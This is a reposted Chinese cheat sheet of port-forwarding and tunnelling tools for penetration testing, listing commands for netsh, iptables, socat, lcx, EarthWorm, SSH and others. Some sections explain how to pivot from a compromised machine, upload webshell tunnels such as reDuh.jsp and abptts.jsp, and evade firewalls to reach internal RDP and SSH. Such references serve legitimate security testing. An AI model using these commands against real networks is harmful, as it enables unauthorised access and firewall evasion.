端口轉發(隧道)工具合集記錄


正向端口轉發(重定向流量)
1.netsh
2.iptables
3.socat
4.lcx
5.htran
6.ew
7.termite
8.portmap
9.rtcp
10.FPipe
11.portfwd
12.rinetd
13.powershell
14.ssh
15.passport
16.netcat

反向端口轉發
1.ew
2.htran
3.lcx
4.portmap
5.ssh

webshell類端口轉發
1.ReDuh
2.ABPTTS
3.Tunna

第三方自建內網穿透工具
1.ngork
2.nps
3.frp
4.lanproxy
5.holer

======================================================================================

netsh interface portproxy add v4tov4 listenport=8833 connectport=3389 connectaddress=10.0.1.251 protocol=tcp
表示本地監聽8833端口,將流量轉發到10.0.1.251的3389端口,流量轉發也可以理解為重定向流量

netsh interface portproxy dump
查看端口轉發

netsh interface portproxy delete v4tov4 listenport=8833
刪除端口轉發

 

iptables

添加路由轉發

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables的INPUT鏈配置允許放行

iptables -P INPUT ACCEPT

添加轉發規則

iptables -t nat -A PREROUTING -d 10.0.1.76 -p tcp -m tcp --dport 8833 -j DNAT --to-destination 10.0.1.251:3389

告訴其進來之后的流量要從轉給10.0.1.76上回去

iptables -t nat -A POSTROUTING -d 10.0.1.251 -p tcp -m tcp --dport 3389 -j SNAT --to-source 10.0.1.76

防火牆策略放通

iptables -A FORWARD -o ens199 -d 10.0.1.251 -p tcp --dport 3389 -j ACCEPT

保存iptables服務然后重啟

/etc/init.d/iptables save && /etc/init.d/iptables restart

同樣可以利用類似上面操作方式轉發ssh端口

iptables -t nat -A PREROUTING -d 192.168.1.6 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.5:22

iptables -t nat -A POSTROUTING -d 192.168.1.5 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.6

iptables -A FORWARD -o eth2 -d 192.168.1.5 -p tcp --dport 22 -j ACCEPT

/etc/init.d/iptables save && /etc/init.d/iptables restart

 

socat

地址:http://www.dest-unreach.org/socat/

可以直接在kali上使用apt-get install socat進行安裝

socat TCP4-LISTEN:8833,reuseaddr,fork TCP4:10.0.1.251:3389

 

lcx

lcx -tran 8833 10.0.1.251 3389

 

htran

htran -p tran 8833 10.0.1.251 3389

 

EW 此工具官方已經不更新了,作者反饋危害很大,並且已經不提供下載地址了

該工具共有6中命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

工具地址:http://rootkiter.com/EarthWorm

ew -s lcx_tran -l 8833 -f 10.0.1.251 -g 3389

 

Termite

agent_linux64 -l 8833

agent_linux64 -c 10.0.1.251 -p 8833

agent_win32.exe -c 10.0.1.251 p 8833

show 

goto 2

lcxtran 3388 10.0.1.252 3389

 

portmap linux環境下的lcx

linux_portmap -m 1 -p1 8833 -h2 10.0.1.251 -p2 3389

 

rtcp

rtcp.py 1:10001 l:10002 表示在本地監聽兩個端口10001和10002

rtcp.py c:localhost:22 c:112.112.11.1:10001

ssh -p 10002 112.112.11.1

https://github.com/knownsec/rtcp 具體可參考官方的示例

 

FPipe

這個只適合Windows不是太好用

Fpipe.exe -l 8833 -r 3389 10.0.1.251 -v

 

portfwd

metasploit中的工具

portfwd add -l 8833 -r 10.0.1.251 -p 3389

 

rinetd

挺好用的,地址:http://www.boutell.com/rinetd

同樣是正向端口轉發,也可以理解為流量重定向

 

powershell

PS>Powershell -exec -bypass
PS>Import-Module .\Invoke-SocksProxy.psm1
PS>Invoke-PortFwd -BindPort 8833 -DestHost 10.0.1.251 -DestPort 3389

 

ssh正向tcp端口加密轉發

這里就是經常說的ssh本地端口轉發

相應的參數說明和示例如下:

ssh -CfNg -L 8833:127.0.0.1:2222 user@ip //VPS 本地訪問VPS:8080就是內網的22端口

-C:該參數將使ssh壓縮所有通過Secure Shell客戶端發送的數據,包括輸入、輸出、錯誤消息及轉發數據。它使用gzip算法,壓縮級別可通過設置配制文件中的參數Compressicn Level來指定。這對於緩慢的傳輸線路特別有用的。但對於傳輸速度已經很快的網絡則顯得沒有必要。同樣,你可以利用配制文件針對每台主機配置這個參數。
-f:該參數將ssh連接送入后台執行。這在驗證已經完成且TCP/IP轉發已經建立的情況下會生效。這對在遠程主機上啟動X程序顯得十分重要。其后用戶將被提示要求輸入口令(提供的認證代理不運行),然后將連接送往后台。
-g:該參數允許遠程主機通過端口轉發與主機端口相連,通常情況下僅允許本地主機這樣做。
-N:不執行遠程指令。
-R:遠程轉發
-L:本地轉發
-D:動態轉發,即socks代理
-p:指定遠程ssh服務端口
-n:后台運行
-p:安靜模式,不要顯示任何debug信息

 

操作之前先檢查下ssh的配置,如果有密鑰互信也是可以的,沒有就密碼認證


# vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 斷開
PasswordAuthentication yes
# systemctl restart sshd

 

ssh -CfNg -L 0.0.0.0:8833:10.0.1.251:3389 root@10.0.1.87 -p 22

然后mstsc 10.0.1.251即可

或者

rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768

 

netcat

ncat -l 8833 | ncat 10.0.1.251 3389

 

============================================================================================================================

反向端口轉發

ew

本機 ip 10.0.1.87
ew -s lcx_listen -l 8833 -e 3308

目標被控制機器執行
ew -s lcx_slave -d 10.0.1.87 -e 3308 -f 10.0.1.251 -g 3389

mstsc 127.0.0.1 8833

 

htran

這個是多線程包轉發,socks5 端口復用socks5和反連socks5

本機執行

htran -p -listen 53 8833

目標機器執行

htran -p -slave 10.0.1.87 53 10.0.1.251 3389

mstsc 127.0.0.1 8833

 

lcx

本機執行

lcx -listen 53 8833

目標主機執行

lcx -slave 10.0.1.87 53 10.0.1.251 3389

mstsc 127.0.0.1 8833

 

portmap

本機執行

linux_portmap -m 2 -p1 53 -p2 8833

目標主機執行

linux_portmap -m 3 -h1 10.0.1.87 -p1 53 -h2 10.0.1.86 -p2 22

ssh 127.0.0.1 -l root -p 8833

 

ssh遠程端口轉發

ssh -CfNg -R 0.0.0.0:53:10.0.1.251:3389 root@10.0.1.87 -p 22

這里需要說明一下,在ssh的遠程端口轉發中即使添加了參數-g也不能將隧道建立之后在本地監聽0.0.0.0的IP地址,所以此參數在遠程端口轉發中是無效的,不管加與不加,成功建立隧道都是本地監聽IP地址127.0.0.1 所以為了解決這個問題,就需要配合端口重定向的技術來解決,通常使用rinet來解決

vim /etc/rinetd.conf

編輯此配置文件添加轉發規則

0.0.0.0 8833 127.0.0.1 53

上述添加完成需要重啟rinetd服務

netstat -tunlpa | egrep "53|8833"

mstsc 10.0.1.87:8833

 

==========================================================================================================================

Webshell端口轉發

ReDuh是SensePost在BlackHat USA 2008發布的關於隧道數據進出網絡工具。ReDuh是一種可用於通過有效形成的HTTP請求創建TCP電路的工具。從本質上講,這意味着如果我們可以在服務器上上傳JSP / PHP / ASP頁面,我們可以輕松地連接到該服務器后面的主機

默認的情況下會監聽1010端口

前提是已經拿到目標的webshell,然后上傳reDuh.jsp

然后本地客戶端去連接

java -jar reDuhClient/dist/reDuhClient.jar http://10.0.1.87/reDuh.jsp
netstat -tlunp | grep ":1010"

使用nc去連接

nc -nv 127.0.0.1 1010

[createTunnel]2222:10.0.1.86:22

然后ssh連接

ssh 127.0.0.1 -l root -p 2222

此軟件對應的升級版:https://github.com/NoneNotNull/reGeorg

 

ABPTTS

ABPTTS是NCC Group在2016年blackhat推出的一款將TCP流量通過HTTP/HTTPS進 行流量轉發,在目前雲主機的大環境中,發揮了比較重要的作用,可以通過腳本進行 RDP,SSH,Meterpreter的交互與連接。也意味着這樣可以建立一個通過80端口得流量出站來 逃避防火牆。與其它http隧道不同的是,abptts是全加密

安裝依賴環境

pip install pycrypto 加密庫,整個通信數據加密基本都要靠這個庫來實現
pip install httplib2

生成webshell服務端
python abpttsfactory.py -o webshell

上傳到目標,進行訪問
curl http://10.0.1.87/abptts.jsp

客戶端連接服務端打通隧道
python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:8833/10.0.1.251:3389

遠程連接
rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768

也可以將目標22端口轉出來
#python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:2228/10.0.1.92:22

然后使用ssh的動態端口轉發打通隧道
ssh -qngfNT -D 6688 root@127.0.0.1 -p 2228
proxychains socks5 127.0.0.1 6688

上述搞完了,就可以直接通過ssh隧道技術連接目標內網的其他主機的22端口
proxychains ssh root@10.0.1.85

 

Tunna

Tunna是一款將TCP通信流量封裝在HTTP協議的工具,適用於在有防火牆的環境中突破網絡限制

 

第三方自建的內網穿透工具

ngrokngrok 是一個反向代理,通過在公共端點和本地運行的 Web 服務器之間建立一個安全的通道,實現內網主機的服務可以暴露給外網

國內版本 https://www.ngrok.cc/ ,比較簡單,注冊賬戶然后配置一下服務端,從此網站上下載客戶端本地運行配置即可

國外版本 https://ngrok.com/ 開源項目地址:https://github.com/inconshreveable/ngrok

 

nps

nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。目前支持tcp、udp流量轉發,可支持任何tcp、udp上層協議(訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析等等……),此外還支持內網http代理、內網socks5代理、p2p等,並帶有功能強大的web管理端

開源地址:https://github.com/cnlh/nps

 

frp

frp 是一個可用於內網穿透的高性能的反向代理應用,支持 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支持了點對點穿透,常用用於內網滲透

開源項目地址:https://github.com/fatedier/frp

 

Lanproxy

lanproxy是一個將局域網個人電腦、服務器代理到公網的內網穿透工具,目前僅支持tcp流量轉發,可支持任何tcp上層協議

開源項目地址:https://github.com/ffay/lanproxy-go-client

 

Holer

Holer是一個將局域網中的應用映射到公網訪問的端口映射軟件,支持轉發基於TCP協議的報文

開源項目地址:https://github.com/wisdom-projects/holer

 

natapp

官方地址:https://natapp.cn/

 

dog-tunnel

dog-tunnel基於kcp的p2p端口映射工具,同時支持socks5代理

開源項目地址:https://github.com/vzex/dog-tunnel

 

參考

https://xz.aliyun.com/t/142


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM